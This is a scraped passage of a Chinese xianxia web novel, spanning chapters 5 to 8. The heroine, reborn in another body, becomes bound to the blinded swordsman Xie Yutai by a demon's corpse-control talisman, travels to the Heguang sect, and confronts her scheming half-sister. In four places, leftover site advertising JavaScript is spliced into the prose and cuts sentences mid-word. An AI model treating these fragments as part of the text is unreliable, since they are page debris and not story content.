啖无宁手上炼尸的法子可不止一种,秦知知虽然没遇到过却还是听说过的。对付普通人,啖无宁有的是办法。低阶定尸符虽然对修士没有用处,但对普通人却有奇效。一旦打在没有修为的人身上,很快会融入骨血之中,而这个人则慢慢丧失意识,直到符文完全化开,变成彻头彻尾的傀儡——行尸走肉,不生不死。 最恐怖的是,待融入骨血之中,即便杀掉定尸符的主人也于事无补,只会让这些尸人一同丧命。据说,在定尸符的主人被斩杀的瞬间,尸人会恢复意识。但在恢复意识的刹那,他们即走向死亡。 “我劝你最好是别……”秦知知艰难的开口,还不等她说完,她颈后的符文便一阵发烫。宛如被滚烫的热铁烙在身上一般,这烧痛几乎要钻到人的心里去,无数指甲抓挠着她的心脏。秦知知捂住胸口,终究是没忍住,嚎了一声。 啖无宁抬手打出一道黑色的符箓,飞向谢煜台。之前被谢煜台打倒的群尸感觉到啖无宁的躁动,即便身躯已经残破不堪还是从地上摇摇晃晃的爬了起来。 被悬吊在半空,一边忍着剧痛一边全景观赏的秦知知一看这景象瞬间头皮发麻,都死成这样了还要去替人打工? 她是真的不可以。 伴随着秦知知的嚎叫声,谢煜台再次被群尸湮没。 陆远道强行运功,抚上自己的七弦琴,灵气却无法运转,指尖生涩异常,“刺啦——”声响,血从他的口边溢出,落在琴身之上。 “刷”的一声,琴身嗡鸣,利剑破空而出。谢煜台手中之剑快的宛如一道蓝光,从他手中脱出,一剑贯穿挡在前面的尸人,直直飞向秦知知。 眼见撼天剑直冲自己而来,秦知知捂住胸口目光惊愕。她无数次见过这把利剑出鞘,作为谢煜台的本命宝剑,撼天剑是问剑峰最有个性也是煞气最重的一把,除了谢煜台没有人能够压得住这把曾经的凡界第一剑。 她见过这把剑斩邪魔、断妖魂,亦记得这把剑是怎样在谢煜台的手上寒光九州。 谢煜台这是要杀她? 秦知知喉咙一紧,却见剑锋挑开她颈后的禁锢,她顿觉领口一松,从空中垂直摔下。 撼天剑早有所料,剑柄挂住秦知知的腰带,缓冲降落的速度,载着秦知知稳稳落在了地上。之后,撼天剑剑锋没入泥土,张开结界,将秦知知与陆远道等人罩在其中。 结界虽能抵御尸人,却无法抵抗符文。秦知知颈后的滚烫感没有丝毫减弱,反而要嵌在她的心口。如今只有一个办法,在符文刻进她血肉之前,杀掉啖无宁的这个分身,尚有一线生机。 谢煜台用剑气凝结的数道小剑飞向四方,蒙住双眼的白练在空中飞舞,墨色长发如同扬起的黑色瀑布。尸人被剑气所冲纷纷后退,在一片鬼气中谢煜台双指并拢,以指为剑,冲向啖无宁—— 啖无宁狞笑:“谢煜台,作为剑修你连剑都没有就敢和我打?” 谢煜台的身后一把淡金色的长剑渐渐显出身形,虽然还有些朦胧却已经初具雏形。秦知知看的呼吸一窒,以气化形!这只有元婴期的修士才能做得出来,可是谢煜台分明只有金丹的修为。 他的剑意竟已超出肉身修为,臻至元婴。 啖无宁也是瞳孔微缩:“乾坤剑境……” 他不知感觉到了什么突然皱眉道:“姜沅芷呢?” 谢煜台开口,声音如同淙淙泉水,沉寂冷漠:“姜沅芷已被我斩杀。” “你现在回去,还赶得及给她收尸。” 秦知知:…… 等等,系统是不是告诉她什么错误信息?不是说好了这个姜沅芷是很重要的角色吗?年纪轻轻就已是元婴修为一个打十个?可能还要跟后期的主角来个感情纠葛,你追我追各种旖旎?就死了?啊?这就死了?? 和秦知知同样震惊的还有啖无宁,他勃然大怒:“你杀了姜沅芷?!” 啖无宁不敢置信,就像谢煜台在修仙界的地位一样,姜沅芷不过年纪轻轻就已经是魔族右护法,无论是实力还是威望都不可小觑,又与自己同是魔尊的左膀右臂,怎么可能…… 就在这时,谢煜台已飞至他的身前—— 啖无宁目露恨意,双眼泛红,他伸出手来竟是直接抓住谢煜台背后的那把黑金色的小剑,而那冷冽刚劲的剑气直冲这具身体,不过瞬间,那把握住剑的手已是森然白骨。即便如此,啖无宁依然不肯撒手,他的背后,更多的尸人缓缓爬起, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向这里涌来。 “你怎么杀的姜沅芷?”最初的震惊与愤怒之后,啖无宁脸上透露出些许的困惑和不解。 谢煜台微抿唇线,并未作答。 不过顷刻,啖无宁脸色微变,露出似笑非笑的神情:“其实你知道你那新娘子是怎么死的,对吧?跟姜沅芷好像没关系呢。” “你骗的了别人,骗的了自己吗?我可是看的清清楚楚,天同宗那女人明明是自剖丹田而死。她是自戕。”啖无宁舔了舔唇角,笑得开心,“是她自己不想嫁给你,怨不得别人。” “哦对了,她叫什么来着?秦什么知……” 谢煜台与他只有一步之遥,白练蒙着他的双眼让人看不清他的面容。只是在啖无宁话未说完的刹那,谢煜台突然出手! 右手直接击破啖无宁的胸膛,伸进了他的左胸之中,狠狠握住。 霎时秦知知后颈部剧痛袭来,她双眼泛黑一屁股坐到了地上,那道符文已经融进她的血肉中。 啖无宁目眦尽裂,半张着嘴,身体凝固。 谢煜台握着啖无宁的心脏将它从胸膛中扯出,白练之上渐染了几许血色。他低着头,像是在沉思,过一会,曾经执剑的右手狠狠一捏,已经死去的心脏只剩下污血,在他手中化为齑/粉。那夹杂着黑色的血迹顺着他的右手蜿蜒而下,溅落在衣襟上绣着的白鹤飞羽。 尸人瞬间失去活力,一个接一个的倒下,残破的躯壳铺了一地。 谢煜台就站在中间,残阳如血,映衬着他的剪影,宛如从地狱走来的修罗。 “是她自己不想嫁给你,怨不得别人。” 是不愿嫁。她那么怕痛的一个人,都能对自己下得去手。 明明当初,那般热切。 谢煜台握了握悬在虚空的右手,不知想到什么,低低笑了出来。 他似乎也受了很重的伤,啖无宁那一伸手直接握住谢煜台的剑境,无异于与其元神直接对抗,之前的几句对话下,两人不知已经过了多少暗招。 待见啖无宁的分身再无动静,谢煜台踉跄了几下堪堪稳住身形,抬脚向结界走来。他走得极其缓慢,一步一步,像是要嵌在泥土里。 秦知知看着他的身影,一时之间心中不知涌起什么样的感觉,有些奇异,却又好像在心上长了根刺芒,一碰就一阵刺痛,很小很细,却无法忽视。 接着,她的手脚开始不由自主的活动。 秦知知:??? 谢煜台迈左脚,秦知知迈左脚。谢煜台迈右脚,秦知知迈右脚。 谢煜台走到撼天剑的旁边,站定不动。 秦知知亦走到撼天剑的旁边。 谢煜台抬手,握住剑柄。 秦知知抬手——握住了谢煜台持剑的手。 6. 006 还是天同宗秦知知的时候,她也是握过谢煜台的手的。 两人并肩行走时,秦知知偶尔也会贼胆包天。黑葡萄似的眼睛滴溜溜的转,小心翼翼的观察着身旁的谢煜台,见他飞眉入鬓,不动声色的模样。先是小手指勾过去,试探着轻轻碰碰他的手,见对方没有反应,火速握住。握得紧紧,紧张的手心都沁出汗来。 握住后反而不敢看对方的脸了,就偏过头去顾左右而言他:“今天的风儿好喧嚣啊……我们刚刚说什么来着?” 其实谢煜台哪有说什么话,还不都是秦知知喋喋不休了一路。 那时的秦知知心里暗道,没想到谢煜台看起来这么清冷矜贵的一个人,握剑的手竟然出奇的温暖。 可现在这个谢煜台的手却十分冰冷,冷的不像是活人的温度,那透进骨子里的寒气让秦知知不由自主打了个冷战。 察觉到手背上的温度,谢煜台动作一顿,他循着气息微微偏头。秦知知也侧头,正好看见对方的模样。双眼上蒙着白练减弱了几分凛然刚劲之气,对战之后谢煜台的鬓角散落了几缕碎发,如此安静的偏头过来,倒是平白多添了些许茫然,和之前宛如罗刹的模样仿佛判若两人。 秦知知的心跳微不可查的乱了几拍,纳闷的想着,是错觉吧,怎么觉得他有点可怜?那白布下蒙着的双眼不会是红彤彤的吧? 瞬间又推翻自己的想法,这怎么可能,她可从没见过谢煜台红过双眼。无论何时,他都是那副四平八稳,疏离淡漠的样子。 “咳咳咳……”刚打通自己滞涩的灵脉,站起身的陆远道就看到了这刺激的一幕——谢煜台与秦知知隔着撼天剑一左一右的站着,俩人脸对脸,秦知知的手还覆在谢煜台的上。 又是灵气滞涩差点一口老血喷出,为什么眼睛上蒙着白布的不是他? 伴随着惊天动地的咳嗽声,陆远道疯狂对秦知知使眼色,谢煜台的便宜也是她能占的?可惜秦知知倒是想看呢,无奈角度不好光能听见声音却见不到人。 谢煜台虽然人狠话少,但架不住风姿绰约,神仪明秀,确实有很多小姑娘一看倾心,终身不忘,原先天同宗的女修不就如此?如今虽然瞎了眼却仍身姿挺拔别有一番落拓颓势,这可有点危险。 见秦知知没有动作,陆远道沉思须臾,硬着头皮缓缓开口:“秦芝芝姑娘,你这是在干什么?你可别忘了自己的身份啊!” 这暗示够明显吧?名字一字一句的念出来!君无涯,师兄也只能替你做到这里了。 秦知知自己都被震惊的神思满天飞窜,一听陆远道那副“你是不是要绿了我师弟”的口气顿觉无语,忍不住道:“这能怪我吗?你看我现在动的了吗?” 实在是她的手脚有自己的想法啊。 陆远道:“……” 说着不能动,但嘴皮子动的还挺溜。 在听到陆远道的话后,原本安静站着的谢煜台身形微顿,秦知知感觉到从双手处传来的轻颤,忍不住诧异的瞪大双眼。下一刻,她的手从谢煜台的手背上落下——谢煜台蓦地松开持剑的手。 他看不见,只是茫然的张了张口,声音极低极轻,像是怕惊扰了什么一般:“……秦知知?” 秦知知心猛然漏跳一拍。 谢煜台鲜少唤她的名字,毕竟那会秦知知的目光大部分时候都落在谢煜台的身上,只要他看过来,秦知知便很快笑眯眯的迎上去,到也不需要谢煜台出声。可一旦开口叫了她的名字,好像总也没什么好话。 他最后一次叫自己,是什么时候? 五十年一开的昆仑洞天,当今世上最凶险最莫测的秘境之一,却充满着珍奇法宝神秘功法,引得无数人丧命于此。 谢煜台要去其中淬炼剑意。 秦知知偷偷尾随其后,一起进了昆仑洞天。 漫天风雪,玉树琼枝。谁能想到宛如仙境般的昆仑洞天里会有那么凶险的存在呢? 想也没想便冲上去替谢煜台挡了那一招,秦知知倒在冰天雪地之中,鲜艳的血泊犹如仙境之中盛放的红莲。昏迷前,她似乎迷迷糊糊听到谢煜台的声音,很遥远,像沉睡在梦境里。 他说:“秦知知……你怎么就没有长进。” 如果秦知知还能说话,她一定会趁着这个大好机会再补一句土味情话:我要什么长进,我只想长进哥哥的心里。 可她已没有什么气力,她太过疲惫,闭上了眼睛。 临死前竟然还在挨骂,这任务实在太难了。 谢煜台,你的心是玄铁做的吗? 如今再次被叫了全名,秦知知本能沉默。 没有听到回应,谢煜台伸出手来,她像提线木偶一般也抬起自己的右手。 眼见着两人的手就要再次相碰,陆远道眼皮一跳冲上前去扣住秦知知僵在半空的手腕,对着谢煜台讪笑道:“谢道友,这就是我刚刚给你传音说的,我师弟君无涯的未婚妻,武都城城主的女儿,秦芝芝。” 他说的够清楚了吧?这俩人看起来也太奇怪了。 手腕被另一温度覆盖,蓦地将秦知知遨游九天的神思拉回。哦,她已不是天同宗的秦知知,那她怕什么? 正在三人陷入诡异的沉默之中时,之前因被啖无宁魔气所冲而昏迷的苏青衣正巧醒来。甫一睁眼,便看见谢煜台和秦知知指尖几乎要贴在一起,而自己的大师兄陆远道正扣着秦知知的手腕,站在两人旁边,亮得像黑夜里的明烛。 苏青衣从地上坐起:“你们在做什么?” 秦知知:“……” 这种被捉奸在床的错觉到底是哪里来的? 陆远道慌忙放下手:“苏师妹,你醒了?可有什么不适?” 苏青衣抚着胸口摇了摇头,再抬眼时仍是满脸疑惑:“陆师兄,你刚刚在做什么?” 秦知知举得手酸,梗着脖子忍不住道:“青衣你别误会啊,我好像被控制了,手脚完全不听使唤,陆仙长是为了帮我呢。” 听到这话的谢煜台周身气息一窒,慢慢放下手。他似乎意识到了什么,方才一瞬间的失态掩去,像是一场错觉。谢煜台虽然没有说话,却也不再做其他动作,反而在撼天剑旁坐下,静静盘腿调息。 秦知知迫不得已的坐在地上,虽然仍不自由倒也比之前的尴尬场景不知要好多少倍。她仰头将自己怎么中了定尸符,又怎么发现自己身体不受控制的事情好好说了一番。 听完她的叙述,苏青衣心有余悸道:“秦姑娘,这可真是危险啊,要不是谢师兄出手快,你现在已经死了!” 秦知知听到这话,猛然一咳道:“确实要多谢谢、谢仙长的救命之恩。” 只是明明是啖无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宁的定尸符,怎么偏偏现在和谢煜台绑在一起了?真是令人百思不得其解。 陆远道站到谢煜台的身边:“和光派一些弟子受伤,行动不便。方才我已传信给南风长老,想来不一会他便能到这里将我们接走,谢道友什么打算?” 秦知知连忙插嘴:“不得先想办法把我们这情况解开再走?” 不然谢煜台御剑“嗖”的一下飞走,她该怎么办?搁后面跑啊?还是被吊起来飞? “我可是手无缚鸡之力的弱女子……” 陆远道嘴角抽了抽。 谢煜台淡淡道:“待南风长老来了再议。” 南风长老与和光派掌门是师兄弟,二者同出一门,感情深厚,是和光派第二重要的人物,如今修为已至元婴巅峰,离化神不过一步之遥。一传信来的便是南风长老,陆远道这一波弟子当真各个是和光派的宝贝疙瘩。 不过片刻,南风长就从云端落下,出现在众人眼前。他身材矮小,鹤发童颜,身后背着一张蕉叶七弦琴。见到小辈们都还全须全尾的站着,放下心来,眯着眼睛笑道:“总算无事,我也好向师兄交代了。” “只是谢小友,你的眼睛……” 谢煜台似乎有些不愿意谈及这一话题,微微偏头:“我无碍,多谢南风长老。” 因谢煜台回避的态度比较明显,南风也不便再追问下去,只是在心中微微叹息。待看见一旁乖巧坐着的秦知知,忍不住眯起眼睛“咦”了一声。 见南风注意到秦知知,苏青衣连忙添油加醋的将秦芝芝的身份与之前发生的事情都告诉了南风,末了有些着急的问道:“南风师叔,你看这是怎么一回事啊?” 南风捏着小胡子沉吟半晌,接着吐出一大堆玄而又玄的话术,秦知知听得是云里雾里,最终得到了一个结论:这其实是个bug。 定尸符与血肉相融的瞬间啖无宁的分/身恰巧死去,理论上秦知知应该一起死去。但偏偏时间过于巧合,在啖无宁活着时,秦知知还不算他的傀儡。 偏偏谢煜台握住啖无宁分/身的心脏,又在手中捏碎,沾染了啖无宁的魔气,定尸符在那一刻认定谢煜台是自己的主人,这才造成一场误会。 她悟了。 “那可有解的法子?”秦知知追问。 她好不容易重获新生,委实有些不太想和谢煜台再牵扯下去。秦知知为做任务而生,但秦芝芝可不是。 南风从自己腰间的葫芦里掏了半天,拿出一个小玉瓶:“你先将这化符水喝了。” 秦知知行动不便,苏青衣接了玉瓶喂她喝下,她顿觉身体一轻,试着活动了一下手指,发现自己已经行动自由,喜不自胜道:“这就好了?” 南风摇摇头:“化符水的作用比较有限,现在也不过是短期之内让你能控制自己的身体罢了,定尸符的威力却没那么简单。” 这毕竟是鬼修啖无宁的符箓,神乎其神,邪门歪道,即便是最擅长符箓的符修压胜派也难以破解。 一直沉默着的谢煜台也不免出声:“那会如何?” 南风捏着胡子的动作微顿,语气沉重道:“你们二人性命相连,你受伤,她也会受伤,你死,她也死。” “什么?!”秦知知简直惊呆了。南风长老到底是怎么做到的?这句话里竟然没有一个字是她爱听的! 7. 007 秦知知两眼一抹黑,脑内无限循环南风长老的声音,“你们二人”、“性命相连”、“你……她也……”。 听听,这说的还是人话吗? 重生之前,她听到最多的话就是系统在脑内的喋喋不休。 “宿主,谢煜台来了。” “你还不去见谢煜台吗?” “谢煜台不会爱上你的,宿主,永远不会。” 谢煜台几乎要成为她心头一个无法摆脱的魔咒。 重生之后,谢煜台不再是魔咒了。他直接变成了符箓,定在自己的颈后。 很好,直接战力翻倍呢。系统听了都得落泪。 讲道理,关于谢煜台的寿数问题,秦知知从来没详细考虑过。这可是小说男主,身上有着无比强大的光环,他不得活到最后,活的比所有人都长久?所以无论是过去还是现在,她从来都不担心谢煜台会死。 既然不会死,听着好像也没那么吓人了。 保证性命无虞之后,秦知知快速从震惊中调整好了心态,她认真的问道:“那这样,是谢……谢仙长活多久,我就能活多久吗?” 谢煜台已经金丹后期,有五百寿元,那岂不是她能白嫖五百年? 陆远道和苏青衣一齐看向南风长老,目光中满满的“还有这等好事”? 南风长老被期待的眼神看着,身体一僵:“……咳,这自然是不行。你该活多少岁还是多少岁。” “实际上,你不仅无法与之同享寿命,还要共担风险。姑娘的体质不如他,谢小友受伤没事,但你可能会死。” 听完后秦知知干脆道:“要不你还是把我杀了吧。” 和着就什么便宜也没有,光搁这儿受苦受难来着了?她能得到什么啊? 当事人之一的谢煜台倒是比其他人都要淡定:“没有其他办法?” “这是鬼修啖无宁的符箓,从未有人被用了定尸符还能活下来……”言下之意已十分明显,南风长抬眼看向谢煜台,后面那一句“解不开”却是怎么也说不出口。 谢煜台向来是纤尘不染,清淡矜贵。如今却也衣襟带尘,血迹纷纷。 遥想数日前收到请柬的时候,南风长老也颇为惊讶。都言谢煜台练的是太上忘情,端的是淡薄冷漠,他没有情丝自然也不会喜欢什么人。即便天同宗的秦姑娘早已扬言非君不嫁,旁人也只当做戏言,没有人相信两人会成为道侣。 没想到真的成了。即便是南风长老也有几分感慨。 世人都羡慕谢煜台少年成名,剑意无敌。然而他们这些虚长他人几百寿元的人却是明白,太上忘情实属不易。自史有所载以来,练就太上忘情飞升的仅有一人,来自归元宗,之后再无人能够练就这份功法,直到出现谢煜台。 少年甫一拿到太上忘情,就成为这世间最孤独的人。 他无师无友无情爱,真正的完全靠自己,杀出一条剑道。 倘若真能遇到知心人,同登仙途,他们自然也是高兴的。谁能想到盟誓大典上会出现那样的事情…… 如今虽已斩杀姜沅芷,又失去双眼。当真是乐极生悲,与往日云泥之别。 难道这就是练就太上忘情之人的宿命?无论是自愿或是被迫,都注定要斩断情丝,注定一人。 南风长老话锋一转,缓缓道:“……不过符箓一道向来不是我派擅长,娑婆宗擅于玄妙之门,压胜派专修符箓之法,他们应有解的办法。说来也是凑巧,压胜派掌门前来议事后尚未回去,正在我派中。” 谢煜台沉吟半晌:“我正要往娑婆宗一趟。” 娑婆宗?往日谢煜台与这个宗门并无太多联系,去那里做什么。秦知知脑中闪过一丝疑惑,不过跟自己肯定也没什么关系,便顷刻放下了。 苏青衣在旁边接了一句道:“那不正好,谢师兄去娑婆宗,我们回和光派,两不耽误。秦姑娘,你便跟着谢师兄吧。” 南风长老的眼神重又落回秦知知的身上。 像,再细看还是像。 刚刚“咦”的那一声,三分莫名七分惊异。不为其他,只因这位看起来柔柔弱弱毫无修为的姑娘,很像曾经那位追着谢煜台后面跑的天同宗女修。南风虽然年纪大了不太关心外界的八卦,却也有所耳闻。那位秦知知姑娘是天同宗宗主傅行云的嫡亲师妹,老宗主秦修远的掌上明珠,生的明媚潋滟,自幼千娇百宠,要风得风要雨得雨。 眼前这位秦姑娘虽然身量瘦小,面色苍白,比之要柔弱沉静许多,但细细看去五官仍有三四分相似。最重要的是眉目间几缕飞扬的神色,简直如出一辙。 天下竟有如此巧合之人。也不知对她这样的普通人是幸事还是坏事。 本以为眼前的姑娘会一口答应,谁料秦知知思忖片刻果断道:“这不妥。谢仙长实力强劲又要御剑而行,带着我这样的普通人难免累赘,不如一人上路节省时间。我跟着和光派众人可以和南风长老一同回去,有消息和谢仙长及时传信便可,万一娑婆宗没有破解之法,倒也不会耽误太久。” 统筹布局,有理有据,归结到底不过一句话:她不想跟谢煜台单独一起。 莫问,问就是没必要。 有句话怎么说来着,合格的前任就要像死掉一样安静,更何况她确实已经死了。谢煜台的未来和秦知知有什么关系呢?她是个已经过去的前传,更比任何人都渴望新生。 说来谢煜台确实也算够意思,虽然不知道自己的死到底和姜沅芷什么关系,但不管怎样姜沅芷已被斩杀,至少明面上大仇已报,也算成全了曾经秦知知的痴心一片。了结完这段事后,谢煜台被打乱的人生终于要慢慢回到正轨,继续走他的修仙大道。 他再也不用担心有人像牛皮糖似的缠着自己了。 秦知知话一说完,苏青衣就发现了一个盲点:“万一娑婆宗就有解决的法子呢?那你岂不是还要再跑一趟?” 陆远道立即扯了扯她的袖子,轻咳一声:“师妹,你跟我过来一下。” 苏青衣兀自懵懂,就被陆远道带到一边去。他们二人站在酒家屋檐下嘀嘀咕咕,离谢煜台和南风长老很远,与秦知知的距离倒是尚可。微风送来零散的几句,断断续续地飘进秦知知的耳朵里。 “名字一样……她长得像啊……” “……看不见呢……” “……两人搁那儿握手呢……” “啊……那君师兄……” “朝夕相对……难保不会……” 秦知知:? 她总觉得哪里不对。 还没等她回过神,陆远道和苏青衣二人便结伴走来,两人脸上的表情都很郑重。苏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 青衣认真道:“秦姑娘,我觉得你说的很对,你还是跟我们回和光派吧!” 陆远道也附和:“是啊,南风师叔,秦姑娘手无缚鸡之力,跟我们上路也放心些。再说,君师弟还在呢,我们怎么也要把人给他完整带回去。” 这两人还真是……好助攻啊。 秦知知心里乐开了花,嘴上却幽幽重复道:“万一娑婆宗就有解决的法子呢,我岂不是还要再跑一趟?” 南风长老哈哈一笑道:“这倒是不用多虑,我这里有两张如影符,你和谢小友一人拿一张,捏碎即可传送到对方的身边。” 如影符是个很神奇的符箓,往往成对出现,可以捏碎后瞬间传送到对方身边,不过也有限制,只能在三宗六派的宗门中使用。因为此符十分难炼作用也十分鸡肋,一般也就核心弟子能偶然拿到两张,往往另一头绑着师尊或长老。 秦知知是知道这个符的,所以才敢直接提出去和谢煜台分头行动。她难为的是怎么开口问如影符,毕竟这符只有三宗六派有,十二城的秦芝芝应该不会知道。 还得多谢苏青衣和陆远道这对小机灵鬼。 接过符箓后,秦知知就站在陆远道和苏青衣的身边,静静看着谢煜台与南风交谈。二人约莫在商量佛昙之事,佛昙一夜之间被啖无宁屠个一干二净,对修仙界而言绝对不是小事,只怕魔族要有更大动作。 说完之后,南风脸色有几分凝重,叹息着点点头。 与南风长老交谈后,谢煜台稍稍侧身。因着秦知知就在南风长老旁边,此刻两人倒是直接面对面。谢煜台很高,秦知知有些矮,只到他的胸口。 谢煜台动作轻滞,右手扶上剑柄,微微低头。若不是眼上蒙着白练,秦知知都要怀疑他是否在看着自己。 她装作没有发现,只低头盯着谢煜台的鞋面兀自发呆。 陆远道和苏青衣分别向谢煜台道别。 秦知知便见那绣着云纹的鞋面微动,调转了个方向,带起点点尘埃。谢煜台在众人的目光中化作一道蓝光,御剑离去。 “也不知道谢道友一个人行不行,毕竟现在眼睛也……”陆远道在旁边轻轻说了一句。 秦知知这时才抬头,看着谢煜台消失的背影,不禁微微失神。 南风长老从乾坤袋里掏出一个飞行法器,往半空一抛,一片花瓣瞬间变成一朵巨大的莲花。他点了点几个尚在昏迷中的和光派弟子,将他们安顿在法器上,又招呼秦知知几人赶紧上来,见人齐之后微微一笑,腾空而起:“坐好喽。” 秦知知只觉得狂风拂过脸颊,吹着她的头发飞舞,连带着整个人都有几分漫不经心。从剖腹到重生,再到如今,对他人来说已是几天过去,于她而言只不过是片刻功夫。此刻总算有时间能整理一下心情,秦知知开始思考自己的后路。 定尸符是一定要解的,谢煜台是没必要再见的,天同宗是一定要回的,她还心心念念着自己的那把大刀。 秦知知认真盘算着怎么才能回天同宗。 这厢陆远道和苏青衣则在挨个查看着几位尚在昏迷的弟子,见他们都只是单纯的昏过去后,这才走到南风长老旁边安心坐下。 南风长老见陆远道来了,又扫了一眼安静的秦知知,低声开口道:“我方才想起,门派中是不是还有另一位秦姑娘?” 8. 008 倒不是南风长老有多爱好八卦,而是秦芝婕的事现在在和光派可谓是上下皆知,即便他不太关心也总是能听到一些风言风语。比如秦芝婕以自己是武都城城主女儿的身份借住在和光派,和光派也不好公然赶人只能睁一只眼闭一只眼。君无涯则被缠的心烦意乱无法下山,在他来之前好像听说这小子没办法,躲起来闭关了。 如今他出门接徒弟,又接回了一个姓秦的姑娘,之前听苏青衣话里话外介绍,好像还说这个也是武都城的? 陆远道听到他的话,陷入诡异的沉默中。 苏青衣倒是快人快语,面上有几分打抱不平,正要开口说话,却被身后的秦知知打断。 “南风长老,那是我妹妹秦芝婕。” “哦?”竟然还是亲姐妹。还没等南风长老说什么,苏青衣便凑在他耳边将事情说了个大概。她早就看秦芝婕有些不顺眼,颇有些添油加醋。南风长老听完后不动声色的看了眼秦知知,嚯,好精彩。他知道君无涯面如冠玉,风姿卓绝,平日里就有不少小姑娘看到他就脸红,没想到啊……南风长老露出一个意味深长的笑容,总觉得门派里又要热闹起来了。 秦知知脸上的笑容却淡了几分,秦芝婕啊,小小年纪就知道伙同亲娘把同父异母的姐姐害了。她倒要看看这个黑心肝的,现在嚣张成什么样。 和光派离佛昙相当之远,若是普通修士日夜兼程也要三五日才能到达。不过南风长老的飞行法器却是个宝贝,靠灵石驱动,灵石越多飞的越快,不过两个时辰就隐隐看见和光派的景象——在一片茂林修竹,郁郁葱葱之间。 说来也甚是有趣,和光派多是琴修音修,三宗六派之中最是风雅温柔。门派弟子皆穿青衣白袍,衣带当风,就连门派所在地也是一片竹林飒飒,曲水流觞,颇为风流。 见南风长老携陆远道几人平安归来,守门弟子皆面带喜色上前行礼。陆远道连忙招呼其他人将还在昏迷的弟子安顿好,待交代完这才跟着南风长老后面准备一起去拜见掌门。 谁知刚走几步,秦知知的肚子便疯狂叫了起来。 这一群人里只有南风和陆远道已经辟谷,苏青衣不过筑基,秦知知就更别说了。人生经历大起大落,就凭这个比普通人还要弱上几分的身体,还没昏过去都已经是她意志力足够坚定。但毕竟是在别人的门派,秦知知有些不好意思提出来,只是有些尴尬的摸了摸肚子。 陆远道原本和南风长老都走在前面,不知想到什么,停下步子。回头见苏青衣和秦知知二人都灰头土脸,狼狈不堪,和南风长老对视一眼开口道:“南风师叔,我看师妹她们都有些累了”。 南风长老也见她们二人眉目间有些疲惫,捏着胡子安慰道:“我和陆远道先去便可,你们小姑娘家自去梳洗一番,回头再叫你们。” 苏青衣忙不迭的应了一声,不知想到什么又凑到南风长老前说了几句,南风长老笑了笑拿了个腰牌给她:“去吧。” 她拿到了自己想要的东西面上有些得意,回头见秦知知有些发愣,抱着她的胳膊道:“秦姑娘你想什么呢?走,我先带你去吃饭去!” 秦知知应了一声,跟着苏青衣往旁边走。她才不会说在看见苏青衣和南风、陆远道二人互动的那一刻,她突然十分想念天同宗宗主,她的大师兄傅行云。 想来傅行云在此地的话,也会这般叮嘱自己吧。 许是真的有些饿了,在饭菜端上来的后,秦知知也顾不得什么礼仪,抄起筷子就往碗里夹。原本还想着要矜持一些,结果一看苏青衣比自己还夸张,宛如饿虎扑食一般,看来也是饿的厉害。这下更没什么包袱,大快朵颐起来。 和光派的饭菜十分可口,正和秦知知的口味,她吃的专心致志,一时之间将很多乱七八糟的事情都抛至脑后。 “芝芝,你也是城主的女儿,为什么不修仙呢?”吃饭的间隙,苏青衣有些好奇的问道。 十二城虽然不比三宗六派实力雄厚,皆有飞升的老祖,但也是修仙家族,同样会收一些弟子传承功法。 听到这问题,秦知知动作微顿:“也许是我天赋不够。” 原身在三四岁时生了一场很大的病,差点就要活不下来。虽然后来痊愈了可是身体却一直不好,平时针药不断,稍微遇事或气温变化些许就要卧床几天。这样的身体别说是修仙,恐怕是活着都很勉强吧,故而武都城里的人也没有谁提起这件事情。 “怎么会,秦芝婕都能有炼气修为,你会差吗?”一路过来苏青衣还挺喜欢秦知知的,该安静时安静,该说话时话说,不矫情还有几分聪明劲。比那个不知进退的秦芝婕不知道要好多少倍, 因此心自然向着她这里偏一偏。 秦芝婕和她的亲弟弟秦关楼都是双灵根,比三宗六派的核心弟子来说算不上什么厉害的人物,但在十二城已是上上之乘,自幼便被武都城城主当成宝贝。秦芝婕今年十七岁,修为乃是炼气巅峰,离筑基只有一步之遥,比秦芝芝这个肩不能扛手不能提的深闺小姐不知道好了多少倍。 想到记忆里秦芝婕每每趾高气扬的面孔,秦知知默默咽了一口饭。 “等吃完饭我带你去测测灵根,”苏青衣用筷子戳着碗底,狠狠道,“我就不信这个邪了。” 秦知知有些惊讶:“我可以去测吗?” 苏青衣拿出南风长老给她的腰牌在手上晃了晃,眉飞色舞道:“你看,我这不是跟南风师叔要了。” 原来是为了这事,难为苏青衣还惦记,南风长老也确实是疼这个女弟子。秦知知点点头,接受了对方的好意。 吃完饭,苏青衣对着自己和秦知知略施一个清洁咒,稍微整顿一下便拉着秦知知的手向测灵根的地方走去。一路上遇到不少和光派的弟子,他们看到苏青衣都会问个好,待看到秦知知后便会微微一愣,交头接耳起来。 秦知知有些奇怪,但因为苏青衣走得太快也没多想,跟着对方走进了存放青 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 灵石的大殿中。 一般来说测灵根这样的事情只有在每个宗门招弟子的时候才会发生,平日里存放青灵石的大殿也不会开着。因为有南风长老的腰牌,苏青衣很轻易的打开了大殿的门,领着秦知知走了进去。 “就是这个,你把手放在上面就行了。”拉下青灵石上的布帘,苏青衣介绍道。 和光派的青灵石与天同宗的完全不同,被打磨的十分光滑,隐隐泛着青色,宛如翡翠一般剔透。秦知知犹豫了片刻,抬手就要放上去—— “真是稀奇了,青天白日的,是什么人在这里?” 话音刚落,苏青衣和秦知知都有些错愕。 秦知知回头,见在大殿门口站着一个十七八岁的姑娘,淡青色的褙子配着杏黄色的襦裙,梳着垂挂髻,鬓边簪着一朵杏花,端的是娇俏可爱。 只是那面上的表情虽然挂着笑容却有几分狰狞,对方死死盯着秦知知道:“听别人说有个武都城的秦姑娘来了,我还不信。没想到真的是你啊,我的‘好’姐姐。” 一个自幼脾气骄横,自诩天资出众便对姐姐颐指气使的姑娘,因为看上姐姐的未婚夫不惜发卖姐姐,恨不能让对方生不如死的好妹妹。 自己还没去算账呢就上赶着跑到人脸上舞,这就是秦芝婕本婕吗? 秦知知瞪圆了眼睛,装的满是吃惊:“妹妹,原来你也在和光派。” 